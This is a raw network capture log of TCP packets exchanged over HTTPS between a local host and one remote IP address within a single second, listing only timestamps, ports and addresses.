Dec 20, 2023 15:35:08.694226980 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694230080 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694241047 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694252968 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694272995 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694286108 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694286108 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694294930 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694323063 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694339991 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694344044 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694354057 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694370985 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694376945 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694406033 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694410086 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694420099 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694438934 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694442987 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694458008 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694463015 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694473982 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694473982 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694494009 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694495916 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694525003 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694530010 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694554090 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694554090 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694581985 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694586039 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694595098 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694610119 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694622993 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694627047 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694643974 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694649935 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694667101 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694679976 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694684029 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694705009 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694727898 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694736958 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694741964 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694766045 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694772005 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694782019 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694798946 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694813967 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694818020 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694844007 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694859982 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694863081 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694869995 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694885015 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694904089 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694919109 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694928885 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694932938 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694947958 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694958925 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694972038 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694976091 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695002079 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695013046 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695020914 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695024967 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695045948 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695050955 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695077896 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695082903 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695092916 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695105076 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695108891 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695127964 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695133924 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695152044 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695163965 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695164919 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695183992 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695188046 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695208073 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695218086 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695233107 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695238113 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695247889 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695266962 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695295095 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695297956 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695305109 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695337057 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695343018 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695349932 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695367098 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695384979 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695389986 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695421934 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695430994 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695435047 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695458889 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695472002 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695477962 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695492983 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695507050 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695511103 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695519924 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695523977 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695545912 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695571899 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695578098 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695584059 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695606947 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695612907 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695631981 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695636034 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695648909 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695662975 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695667982 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695700884 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695707083 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695715904 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695719004 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695750952 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695755959 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695765018 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695769072 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695795059 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695799112 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695808887 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695817947 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695837021 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695841074 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695847034 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695868969 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695888996 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695897102 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695902109 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695924997 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695938110 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695945024 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695961952 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.695972919 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695985079 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.695993900 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696019888 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696031094 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696041107 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696043968 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696067095 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696073055 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696093082 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696095943 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696105957 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696109056 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696130991 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696135998 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696156979 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696161032 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696175098 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696175098 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696188927 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696188927 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696209908 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696213961 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696223974 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696247101 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696260929 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696266890 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696276903 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696291924 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696317911 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696325064 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696338892 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696366072 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696383953 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696391106 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696394920 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696425915 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696436882 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696443081 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696455956 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696475029 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696496010 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696500063 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696510077 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696523905 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696527958 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696554899 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696559906 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696584940 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696587086 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696600914 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696611881 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696615934 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696639061 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696647882 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696656942 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696666956 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696676970 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696696997 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696717978 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696736097 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696739912 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696749926 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696784019 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696789026 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696799040 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696824074 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696834087 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696849108 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696887970 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696892023 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696901083 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696913958 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696918011 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696929932 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696933985 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696949005 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.696973085 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.696986914 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697005987 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697010040 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697020054 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697027922 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697043896 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697046995 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697078943 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697082996 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697097063 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697108984 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697109938 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697145939 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697150946 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697159052 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697175026 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697180986 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697208881 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697212934 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697227001 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697241068 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697246075 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697274923 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697283983 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697294950 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697303057 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697315931 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697345972 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697350025 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697375059 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697376013 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697390079 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697397947 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697402000 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697427988 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697441101 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697458982 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697468042 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697473049 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697495937 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697504044 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697510004 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697519064 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697542906 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697544098 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697566032 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697566032 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697577953 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697594881 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697596073 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697624922 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697629929 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697642088 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697649002 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697654963 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697680950 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697685003 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697699070 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697710037 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697716951 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697734118 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697741985 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697777033 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697797060 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697807074 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697824001 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697865009 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697869062 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697880983 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697899103 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697901011 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697901011 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697906971 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697911024 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697932959 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697958946 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697966099 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.697969913 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.697998047 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698007107 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698013067 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698029995 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698034048 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698062897 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698069096 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698081970 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698101044 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698106050 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698127985 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698143005 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698144913 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698185921 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698193073 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698200941 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698210955 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698211908 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698237896 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698241949 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698265076 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698271036 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698282957 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698299885 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698304892 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698338985 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698343992 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698357105 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698358059 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698371887 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698396921 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698425055 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698425055 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698434114 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698451042 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698472977 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698496103 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698501110 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698507071 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698514938 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.698519945 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698551893 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.698556900 CET	49747	443	192.168.2.4	104.21.91.52
